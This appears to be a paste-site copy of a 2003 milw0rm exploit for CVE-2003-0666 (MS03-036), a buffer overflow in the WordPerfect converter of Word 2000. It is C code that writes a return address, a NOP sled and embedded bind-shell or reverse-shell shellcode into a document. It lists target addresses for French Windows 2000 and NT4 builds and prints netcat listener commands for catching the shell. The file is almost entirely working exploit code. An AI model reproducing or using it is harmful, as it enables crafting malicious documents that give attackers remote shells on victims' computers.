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CVE-2003-0666

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Mar 12th, 2024
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  1. /******************************************************************/
  2. /*   Microsoft WordPerfect Document Converter Buffer Overflow Exploit MS03-036    */
  3. /*                                                                                                                */
  4. /*                                  Exploit with several targets                                         */
  5. /*                                                                                                                */
  6. /*        Find your own return address with :                                                       */
  7. /*            findhex dllname FF D4 (call esp)                                                      */
  8. /*            findhex dllname FF E4 (jmp esp)                                                      */
  9. /*                                                                                                                */
  10. /* Credits :                                                                                                   */
  11. /* vulnerability : Yuji "The Ninja" Ukai                                                              */
  12. /* findhex : Jason Jordan                                                                               */
  13. /* sk scan-associates.net                                                                               */
  14. /* shellcode : metasploit                                                                                */
  15. /* exploit : valgasu - RstAck                                                                           */
  16. /*                                                                                                                */
  17. /******************************************************************/
  18.  
  19.  
  20. #include <stdio.h>
  21. #include <stdlib.h>
  22. #include <malloc.h>
  23. #include <windows.h>
  24. #pragma comment(lib,"ws2_32")
  25.  
  26. /* eip offset for Word 2000 9.0.2812 */
  27. #define EIP_OFFSET 1359
  28.  
  29. /* eip offset for Word 2000 9.0.4462 SR1 */
  30. //#define EIP_OFFSET 1343
  31.  
  32.  
  33. void usage(char *name)
  34. {
  35. printf("\n-- --\n");
  36. printf("-- WordPerfect Document Converter Exploit --\n");
  37. printf("-- --\n\n");
  38. printf("Usage: %s <shell type> <template doc> <os> <port> [<ip>]\n\n", name);
  39. printf("Shell type : 1 - Bind shell (need port)\n");
  40. printf(" 2 - Reverse shell (need ip and port)\n\n");
  41. printf("OS : 1 - Windows 2000 Pro SP3 French\n");
  42. printf(" 2 - Windows NT4 Workstation SP5 French\n");
  43. printf(" 3 - Windows NT4 Workstation SP6 French\n");
  44.  
  45. exit(1);
  46. }
  47.  
  48.  
  49. int main(int argc, char *argv[])
  50. {
  51. unsigned char bindshell[] =
  52. "\x66\x81\xec\x80\x00\x89\xe6\xe8\x4b\x01\x00\x00\x89\x06\xff\x36"
  53. "\x68\x8e\x4e\x0e\xec\xe8\x52\x01\x00\x00\x89\x46\x08\xff\x36\x68"
  54. "\xad\xd9\x05\xce\xe8\x43\x01\x00\x00\x89\x46\x0c\x68\x6c\x6c\x00"
  55. "\x00\x68\x33\x32\x2e\x64\x68\x77\x73\x32\x5f\x54\xff\x56\x08\x89"
  56. "\x46\x04\xff\x36\x68\x72\xfe\xb3\x16\xe8\x1e\x01\x00\x00\x89\x46"
  57. "\x10\xff\x36\x68\xef\xce\xe0\x60\xe8\x0f\x01\x00\x00\x89\x46\x14"
  58. "\xff\x76\x04\x68\xcb\xed\xfc\x3b\xe8\xff\x00\x00\x00\x89\x46\x18"
  59. "\xff\x76\x04\x68\xd9\x09\xf5\xad\xe8\xef\x00\x00\x00\x89\x46\x1c"
  60. "\xff\x76\x04\x68\xa4\x1a\x70\xc7\xe8\xdf\x00\x00\x00\x89\x46\x20"
  61. "\xff\x76\x04\x68\xa4\xad\x2e\xe9\xe8\xcf\x00\x00\x00\x89\x46\x24"
  62. "\xff\x76\x04\x68\xe5\x49\x86\x49\xe8\xbf\x00\x00\x00\x89\x46\x28"
  63. "\xff\x76\x04\x68\xe7\x79\xc6\x79\xe8\xaf\x00\x00\x00\x89\x46\x2c"
  64. "\x31\xff\x81\xec\x90\x01\x00\x00\x54\x68\x01\x01\x00\x00\xff\x56"
  65. "\x18\x50\x50\x50\x50\x40\x50\x40\x50\xff\x56\x1c\x89\xc3\x57\x57"
  66. "\x68\x02\x00\x22\x11\x89\xe1\x68\x16\x00\x00\x00\x51\x53\xff\x56"
  67. "\x20\x57\x53\xff\x56\x24\x57\x51\x53\xff\x56\x28\x89\xc2\x68\x65"
  68. "\x78\x65\x00\x68\x63\x6d\x64\x2e\x89\x66\x30\x81\xc4\xac\xff\xff"
  69. "\xff\x8d\x3c\x24\x31\xc0\x31\xc9\x80\xc1\x15\xab\xe2\xfd\xc6\x44"
  70. "\x24\x10\x44\xfe\x44\x24\x3d\x89\x54\x24\x48\x89\x54\x24\x4c\x89"
  71. "\x54\x24\x50\x8d\x44\x24\x10\x54\x50\x51\x51\x51\x41\x51\x49\x51"
  72. "\x51\xff\x76\x30\x51\xff\x56\x10\x89\xe1\x68\xff\xff\xff\xff\xff"
  73. "\x31\x89\xc1\x57\xff\x56\x14\x56\x64\xa1\x30\x00\x00\x00\x8b\x40"
  74. "\x0c\x8b\x70\x1c\xad\x8b\x40\x08\x5e\xc2\x04\x00\x53\x55\x56\x57"
  75. "\x8b\x6c\x24\x18\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18"
  76. "\x8b\x5a\x20\x01\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc"
  77. "\x31\xc0\xac\x38\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c"
  78. "\x24\x14\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c"
  79. "\x01\xeb\x8b\x04\x8b\x01\xe8\xeb\x02\x31\xc0\x89\xea\x5f\x5e\x5d"
  80. "\x5b\xc2\x04\x00";
  81.  
  82. char revshell[] =
  83. "\x66\x81\xec\x80\x00\x89\xe6\xe8\x10\x01\x00\x00\x89\x06\xff\x36"
  84. "\x68\x8e\x4e\x0e\xec\xe8\x17\x01\x00\x00\x89\x46\x08\xff\x36\x68"
  85. "\xad\xd9\x05\xce\xe8\x08\x01\x00\x00\x89\x46\x0c\x68\x6c\x6c\x00"
  86. "\x00\x68\x33\x32\x2e\x64\x68\x77\x73\x32\x5f\x54\xff\x56\x08\x89"
  87. "\x46\x04\xff\x36\x68\x72\xfe\xb3\x16\xe8\xe3\x00\x00\x00\x89\x46"
  88. "\x10\xff\x36\x68\x7e\xd8\xe2\x73\xe8\xd4\x00\x00\x00\x89\x46\x14"
  89. "\xff\x76\x04\x68\xcb\xed\xfc\x3b\xe8\xc4\x00\x00\x00\x89\x46\x18"
  90. "\xff\x76\x04\x68\xd9\x09\xf5\xad\xe8\xb4\x00\x00\x00\x89\x46\x1c"
  91. "\xff\x76\x04\x68\xec\xf9\xaa\x60\xe8\xa4\x00\x00\x00\x89\x46\x20"
  92. "\x81\xec\x90\x01\x00\x00\x54\x68\x01\x01\x00\x00\xff\x56\x18\x50"
  93. "\x50\x50\x50\x40\x50\x40\x50\xff\x56\x1c\x89\xc3\xeb\x03\xff\x56"
  94. "\x14\x68\xc0\xa8\x00\xf7\x68\x02\x00\x22\x11\x89\xe1\x6a\x10\x51"
  95. "\x53\xff\x56\x20\x85\xc0\x75\xe6\x68\x63\x6d\x64\x00\x89\x66\x30"
  96. "\x81\xc4\xac\xff\xff\xff\x8d\x3c\x24\x31\xc0\x31\xc9\x80\xe9\xeb"
  97. "\xab\xe2\xfd\xc6\x44\x24\x10\x44\xfe\x44\x24\x3d\x89\x5c\x24\x48"
  98. "\x89\x5c\x24\x4c\x89\x5c\x24\x50\x8d\x44\x24\x10\x54\x50\x51\x51"
  99. "\x51\x6a\x01\x51\x51\xff\x76\x30\x51\xff\x56\x10\x89\xe1\x68\xff"
  100. "\xff\xff\xff\xff\x31\xff\x56\x0c\x89\xc1\xeb\x92\x56\x64\xa1\x30"
  101. "\x00\x00\x00\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\x5e\xc2\x04"
  102. "\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c\x8b\x54\x05\x78"
  103. "\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32\x49\x8b\x34\x8b"
  104. "\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07\xc1\xcf\x0d\x01"
  105. "\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b"
  106. "\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\xeb\x02\x31\xc0"
  107. "\x89\xea\x5f\x5e\x5d\x5b\xc2\x04\x00";
  108.  
  109.  
  110. FILE *docfile;
  111. unsigned short port;
  112. const char *eip;
  113. char targetos[255];
  114. int i;
  115. int bshell;
  116.  
  117.  
  118. if (argc <5) {
  119. usage(argv[0]);
  120. }
  121.  
  122. printf("\n-- --\n");
  123. printf("-- WordPerfect Document Converter Exploit --\n");
  124. printf("-- --\n\n");
  125.  
  126.  
  127. /* Shell type */
  128. switch(atoi(argv[1])) {
  129. case 1 : printf("-- Shell type : bind shell\n");
  130. bshell = 1;
  131. break;
  132.  
  133. case 2 : printf("-- Shell type : reverse shell\n");
  134. bshell = 0;
  135. break;
  136.  
  137. default : printf("-- Shell type : unknown\n");
  138. exit(1);
  139. }
  140.  
  141.  
  142. /* Open template file */
  143. if( (docfile = fopen(argv[2], "r+b")) == NULL) {
  144. printf("-- Can't open file %s\n", argv[2]);
  145.  
  146. exit(1);
  147. }
  148. else {
  149. printf("-- Template file : \"%s\"\n", argv[2]);
  150. }
  151.  
  152.  
  153. /* Customize shellcode */
  154. port = htons(atoi(argv[4]));
  155.  
  156. if(bshell) {
  157. *(unsigned short *)&bindshell[227] = port;
  158. printf("-- Port : %d\n", atoi(argv[4]));
  159. }
  160. else {
  161. *(unsigned short *)&revshell[185] = port;
  162. printf("-- Port : %d\n", atoi(argv[4]));
  163.  
  164. *(unsigned int *)&revshell[178] = inet_addr(argv[5]);
  165. printf("-- IP : %s\n", argv[5]);
  166. }
  167.  
  168. /* Set the return address */
  169. switch(atoi(argv[3])) {
  170. // Windows 2000 Pro SP3 - French
  171. case 1 : sprintf(targetos, "Windows 2000 Pro SP3 - French");
  172. eip = "\xA7\x88\xE2\x77";
  173. break;
  174.  
  175. // Windows NT4 Workstation SP5 - French
  176. case 2 : sprintf(targetos, "Windows NT4 Workstation SP5 - French");
  177. eip = "\x10\x45\xEB\x77";
  178. break;
  179.  
  180. // Windows NT4 Workstation SP6 - French
  181. case 3 : sprintf(targetos, "Windows NT4 Workstation SP6 - French");
  182. eip = "\x36\x28\xF3\x77";
  183. break;
  184.  
  185. // Add your own return address here
  186.  
  187. default : printf("-- Target OS : unknown\n");
  188. exit(1);
  189. }
  190.  
  191. printf("-- Target OS : %s\n", targetos);
  192.  
  193. fseek(docfile, EIP_OFFSET, SEEK_SET);
  194. fwrite(eip, sizeof(eip), 1, docfile);
  195.  
  196. // Put some nop
  197. for (i=0;i<24;i++) {
  198. fseek(docfile, EIP_OFFSET + 4 + i, SEEK_SET);
  199. fwrite("\x90", sizeof(char), 1, docfile);
  200. }
  201.  
  202. // Put our shellcode
  203. fseek(docfile, EIP_OFFSET + 28, SEEK_SET);
  204.  
  205. if(bshell) {
  206. fwrite(bindshell, sizeof(bindshell), 1, docfile);
  207. }
  208. else {
  209. fwrite(revshell, sizeof(revshell), 1, docfile);
  210. }
  211.  
  212. fclose(docfile);
  213.  
  214. printf("-- Status : template file modified\n");
  215.  
  216. if(bshell) {
  217. printf("-- After document execution : nc <ip> %d\n", atoi(argv[4]));
  218. }
  219. else {
  220. printf("-- Before document execution : nc -l -p %d\n", atoi(argv[4]));
  221. }
  222.  
  223. return 0;
  224. }
  225.  
  226.  
  227. // milw0rm.com [2003-09-06]
  228.            
Tags: Exploit CVE Vulnerability French microsoft WordPerfect
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